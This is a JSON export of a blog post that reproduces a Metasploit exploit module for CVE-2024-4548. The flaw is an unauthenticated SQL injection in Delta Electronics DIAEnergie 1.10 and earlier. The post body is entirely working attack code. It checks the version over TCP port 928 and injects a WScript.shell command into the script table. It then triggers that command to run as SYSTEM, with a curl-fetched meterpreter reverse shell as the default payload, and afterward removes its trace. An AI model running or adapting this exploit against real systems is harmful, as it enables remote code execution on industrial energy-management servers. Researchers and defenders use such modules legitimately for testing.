{"id":59086,"date":"2024-08-22T18:50:06","date_gmt":"2024-08-22T15:50:06","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180334\/diaenergie_sqli.rb.txt"},"modified":"2024-08-22T18:50:06","modified_gmt":"2024-08-22T15:50:06","slug":"diaenergie-1-10-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/diaenergie-1-10-sql-injection\/","title":{"rendered":"DIAEnergie 1.10 SQL Injection"},"content":{"rendered":"<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<br \/>include Msf::Exploit::Remote::Tcp<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;DIAEnergie SQL Injection (CVE-2024-4548)&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>SQL injection vulnerability in DIAEnergie &lt;= v1.10 from Delta Electronics.<br \/>This vulnerability can be exploited by an unauthenticated remote attacker to gain arbitrary code execution through a SQL injection vulnerability in the CEBC service. The commands will get executed in the context of NT AUTHORITY\\SYSTEM.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Michael Heinzl&#8217;, # MSF exploit<br \/>&#8216;Tenable&#8217; # Discovery &amp; PoC<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/www.tenable.com\/security\/research\/tra-2024-13&#8217;],<br \/>[ &#8216;CVE&#8217;, &#8216;2024-4548&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-05-06&#8217;,<br \/>&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>&#8216;Arch&#8217; =&gt; [ ARCH_CMD ],<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;Windows_Fetch&#8217;,<br \/>{<br \/>&#8216;Arch&#8217; =&gt; [ ARCH_CMD ],<br \/>&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;FETCH_COMMAND&#8217; =&gt; &#8216;CURL&#8217;,<br \/>&#8216;PAYLOAD&#8217; =&gt; &#8216;cmd\/windows\/http\/x64\/meterpreter\/reverse_tcp&#8217;<br \/>},<br \/>&#8216;Type&#8217; =&gt; :win_fetch<br \/>}<br \/>]],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<\/p>\n<p>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS]}<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RPORT(928)<br \/>])<br \/>end<\/p>\n<p># Determine if the DIAEnergie version is vulnerable<br \/>def check<br \/>begin<br \/>connect<br \/>sock.put &#8216;Who is it?&#8217;<br \/>res = sock.get || &#8221;<br \/>rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError =&gt; e<br \/>vprint_error(e.message)<br \/>return Exploit::CheckCode::Unknown<br \/>ensure<br \/>disconnect<br \/>end<\/p>\n<p>if res.empty?<br \/>vprint_status(&#8216;Received an empty response.&#8217;)<br \/>return Exploit::CheckCode::Unknown<br \/>end<\/p>\n<p>vprint_status(&#8216;Who is it response: &#8216; + res.to_s)<br \/>version_pattern = \/\\b\\d+\\.\\d+\\.\\d+\\.\\d+\\b\/<br \/>version = res.match(version_pattern)<\/p>\n<p>if version[0].nil?<br \/>Exploit::CheckCode::Detected<br \/>end<\/p>\n<p>vprint_status(&#8216;Version retrieved: &#8216; + version[0])<\/p>\n<p>unless Rex::Version.new(version) &lt;= Rex::Version.new(&#8216;1.10.1.8610&#8217;)<br \/>return CheckCode::Safe<br \/>end<\/p>\n<p>return CheckCode::Appears<br \/>end<\/p>\n<p>def exploit<br \/>execute_command(payload.encoded)<br \/>end<\/p>\n<p>def execute_command(cmd)<br \/>scname = Rex::Text.rand_text_alphanumeric(5..10).to_s<br \/>vprint_status(&#8216;Using random script name: &#8216; + scname)<\/p>\n<p>year = rand(2024..2026)<br \/>month = sprintf(&#8216;%02d&#8217;, rand(1..12))<br \/>day = sprintf(&#8216;%02d&#8217;, rand(1..29))<br \/>random_date = &#8220;#{year}-#{month}-#{day}&#8221;<br \/>vprint_status(&#8216;Using random date: &#8216; + random_date)<\/p>\n<p>hour = sprintf(&#8216;%02d&#8217;, rand(0..23))<br \/>minute = sprintf(&#8216;%02d&#8217;, rand(0..59))<br \/>second = sprintf(&#8216;%02d&#8217;, rand(0..59))<br \/>random_time = &#8220;#{hour}:#{minute}:#{second}&#8221;<br \/>vprint_status(&#8216;Using random time: &#8216; + random_time)<\/p>\n<p># Inject payload<br \/>begin<br \/>print_status(&#8216;Sending SQL injection&#8230;&#8217;)<br \/>connect<br \/>vprint_status(&#8220;RecalculateHDMWYC~#{random_date} #{random_time}~#{random_date} #{random_time}~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N&#8217;#{scname}&#8217;, N&#8217;CreateObject(\\&#8221;WScript.shell\\&#8221;).run(\\&#8221;cmd \/c #{cmd}\\&#8221;)&#8217;, N&#8221;, N&#8221;);&#8211;&#8220;)<br \/>sock.put &#8220;RecalculateHDMWYC~#{random_date} #{random_time}~#{random_date} #{random_time}~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N&#8217;#{scname}&#8217;, N&#8217;CreateObject(\\&#8221;WScript.shell\\&#8221;).run(\\&#8221;cmd \/c #{cmd}\\&#8221;)&#8217;, N&#8221;, N&#8221;);&#8211;&#8220;<br \/>res = sock.get<br \/>unless res.to_s == &#8216;RecalculateHDMWYC Fail! The expression has too many closing parentheses.&#8217;<br \/>fail_with(Failure::UnexpectedReply, &#8216;Unexpected reply from the server received: &#8216; + res.to_s)<br \/>end<\/p>\n<p>vprint_status(&#8216;Injection &#8211; Expected response received: &#8216; + res.to_s)<br \/>disconnect<\/p>\n<p># Trigger<br \/>print_status(&#8216;Triggering script execution&#8230;&#8217;)<br \/>connect<br \/>sock.put &#8220;RecalculateScript~#{random_date} #{random_time}~#{random_date} #{random_time}~1&#8221;<br \/>res = sock.get<br \/>unless res.to_s == &#8216;Recalculate Script Start!&#8217;<br \/>fail_with(Failure::UnexpectedReply, &#8216;Unexpected reply from the server received: &#8216; + res.to_s)<br \/>end<br \/>vprint_status(&#8216;Trigger &#8211; Expected response received: &#8216; + res.to_s)<\/p>\n<p>disconnect<\/p>\n<p>print_good(&#8216;Script successfully injected, check thy shell.&#8217;)<br \/>ensure<br \/># Cleanup<br \/>print_status(&#8216;Cleaning up database&#8230;&#8217;)<br \/>connect<br \/>sock.put &#8220;RecalculateHDMWYC~2024-02-04 00:00:00~2024-02-05 00:00:00~1);DELETE FROM DIAEnergie.dbo.DIAE_script WHERE name=&#8217;#{scname}&#8217;;&#8211;&#8220;<br \/>res = sock.get<br \/>unless res.to_s == &#8216;RecalculateHDMWYC Fail! The expression has too many closing parentheses.&#8217;<br \/>fail_with(Failure::UnexpectedReply, &#8216;Unexpected reply from the server received: &#8216; + res.to_s)<br \/>end<br \/>vprint_status(&#8216;Cleanup &#8211; Expected response received: &#8216; + res.to_s)<\/p>\n<p>disconnect<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRankinginclude Msf::Exploit::Remote::Tcpprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;DIAEnergie SQL Injection (CVE-2024-4548)&#8217;,&#8216;Description&#8217; =&gt; %q{SQL injection vulnerability in DIAEnergie &lt;= v1.10 from Delta Electronics.This vulnerability can be exploited by an unauthenticated remote attacker to gain arbitrary code execution through a SQL injection vulnerability in the CEBC service. The commands will get &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59086","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59086","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59086"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59086\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59086"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59086"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59086"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}